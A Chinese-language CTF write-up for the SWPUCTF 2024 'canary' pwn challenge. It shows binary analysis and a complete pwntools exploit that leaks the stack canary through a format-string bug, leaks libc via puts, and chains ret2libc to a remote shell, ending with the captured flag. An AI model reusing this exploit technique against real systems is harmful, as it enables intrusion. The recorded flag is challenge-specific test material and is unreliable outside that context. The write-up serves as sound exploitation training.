5948.[SWPUCTF 2024 秋季新生赛]金丝雀 canary绕过和64位的ret2libc(格式化字符串泄露)
(1)
motaly@motaly-VMware-Virtual-Platform:~/桌面$ file xn
xn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=635e150fc1c296c1c993b432690936de365ed07c, for GNU/Linux 3.2.0, not stripped
motaly@motaly-VMware-Virtual-Platform:~/桌面$ checksec --file=xn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 71 Symbols No 0 2 xn
(2)
用ida64打开,按下F5(如果不行,看看有没有Fn键,Fn+F5)
int __fastcall main(int argc, const char **argv, const char **envp)
{char buf[240]; // [rsp+0h] [rbp-1F0h] BYREFchar v5[248]; // [rsp+F0h] [rbp-100h] BYREFunsigned __int64 v6; // [rsp+1E8h] [rbp-8h]v6 = __readfsqword(0x28u);init(argc, argv, envp);puts("plase enter your name");read(0, buf, 8uLL);printf(buf);puts("Welcome to NSSCTF");read(0, v5, 0x200uLL);return 0;
}
先是v6参数的赋canary值
然后先有一个read函数,在下面用printf输出,造成格式化字符串漏洞
最后还有一个read函数,最多读取512(0x200)个无符号长整型常量,v5数组大小为248,造成缓冲区溢出
点击char v5[248];查看
-0000000000000108 db ? ; undefined
-0000000000000107 db ? ; undefined
-0000000000000106 db ? ; undefined
-0000000000000105 db ? ; undefined
-0000000000000104 db ? ; undefined
-0000000000000103 db ? ; undefined
-0000000000000102 db ? ; undefined
-0000000000000101 db ? ; undefined
-0000000000000100 var_100 db 248 dup(?)
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
得到偏移量为0x100+0x8
(3)
这里开了NX(不能进行shellcode注入),开了canary(防止栈溢出)并且无system和'/bin/sh'
canary可以用上面的read函数读入和printf函数输出来获得值
所以这道题是canary绕过和ret2libc(格式化字符串泄露)
在main函数下断点,一直运行到printf函数,上面read函数随便输入一串数据,然后运行
用stack 100查看栈上信息
因为这里
所以Canary(rbp-8h)即为0x7fffffffd748
通过fmtarg泄露出格式化字符串的偏移地址
(4)
因为64位,所以需要一个rdi寄存器和ret去维持堆栈平衡
motaly@motaly-VMware-Virtual-Platform:~/桌面$ ROPgadget --binary ./xn --only 'pop|ret'
Gadgets information
============================================================
0x000000000040130c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040130e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401310 : pop r14 ; pop r15 ; ret
0x0000000000401312 : pop r15 ; ret
0x000000000040130b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040130f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040119d : pop rbp ; ret
0x0000000000401313 : pop rdi ; ret
0x0000000000401311 : pop rsi ; pop r15 ; ret
0x000000000040130d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : retUnique gadgets found: 11
得到ret的地址0x40101a和rdi的地址0x401313
(5)
编写
from pwn import *
from LibcSearcher import*
# context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = remote("node6.anna.nssctf.cn", 22859)
# io = process('/home/motaly/桌面/xn')
payload = '%67$p'
io.sendlineafter('name',payload)
io.recvuntil(b'\n')
canary = int(io.recv(18).decode(),16)
elf=ELF('/home/motaly/桌面/xn')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
ret=0x40101a
rdi=0x401313
io.recvuntil(b"NSSCTF\n")
payload = b'a'*(0x100-8)+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('puts-->'+hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
print('libc_base-->'+hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
io.recvuntil('name\n')
io.sendline(b'aaaa')
io.recvuntil(b"NSSCTF\n")
payload = b'a'*(0x100-8)+p64(canary)+b'a'*8+p64(rdi)+p64(bin_sh)+p64(ret)+p64(system)
io.sendline(payload)
io.interactive()
(6)
连接得到flag
motaly@motaly-VMware-Virtual-Platform:~/桌面$ python3 1.py
[+] Opening connection to node6.anna.nssctf.cn on port 22859: Done
/home/motaly/桌面/1.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytesio.sendlineafter('name',payload)
/usr/lib/python3/dist-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytesres = self.recvuntil(delim, timeout=timeout)
[*] '/home/motaly/桌面/xn'Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)
puts-->0x7f5198bb2420
[+] There are multiple libc that meet current constraints :
0 - libc6-i386_2.31-13_amd64
1 - libc6-i386_2.33-0experimental1_amd64
2 - libc6_2.31-0ubuntu9.10_amd64
3 - libc6-i386_2.33-0experimental0_amd64
4 - libc6-i386_2.31-9_amd64
5 - libc6-i386_2.31-17_amd64
6 - libc6-i386_2.31-13+deb11u1_amd64
7 - libc6-i386_2.31-13+deb11u4_amd64
8 - libc6-i386_2.31-13+deb11u3_amd64
9 - libc6_2.31-0ubuntu9.9_amd64
[+] Choose one : 9
libc_base-->0x7f5198b2e000
/home/motaly/桌面/1.py:26: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytesio.recvuntil('name\n')
[*] Switching to interactive mode
$ ls
attachment
bin
dev
flag
lib
lib32
lib64
libx32
$ cat flag
NSSCTF{f7d28b74-deff-4bbf-ba7d-a9c9ef376a51}